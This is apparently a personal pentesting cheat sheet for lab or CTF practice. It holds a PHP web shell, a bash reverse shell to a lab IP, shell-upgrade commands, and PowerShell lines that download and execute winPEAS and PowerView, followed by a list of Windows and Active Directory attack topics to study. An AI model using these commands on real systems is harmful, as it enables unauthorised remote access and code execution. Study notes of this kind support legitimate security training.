To Memorize

PHP: <?php system($_GET["cmd"]); ?>
Bash: bash -c 'bash -i >& /dev/tcp/10.10.15.189/1337 0>&1;'

Shell upgrade:
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm

Basic loop: for i in {1..10}; do echo "$i"; done > file.txt

Powershell:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.189:1338/winPEASx64.exe')
Invoke-WebRequest "http://10.10.15.189:1338/winPEASx64.exe" -OutFile "C:\Users\sfitz\Desktop\winPEASx64.exe"
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

Time correction: sudo ntpdate <IP>


Remembering!

RunasCs
Start-Process
Responder <- NTLM_thief!
XSS
XEE?
Blank,user,password reuse!
AS-REP!
lowercase on .aspx IIS webservers
nodejs and nginx vs apache and tomcat
users vs rid-brute?

LSA and other win protections
Security group or something, the thing that some users have and you cant impersonate them
Working with kerberos on Linux!
Alpine linux neede when?
Named pipes
ACE, DACL and SACL
dll and path injections
htdocs vs . vs cgi-bin
All of the darn port forward types
dig with the authority and zone transfers and the darn @ placement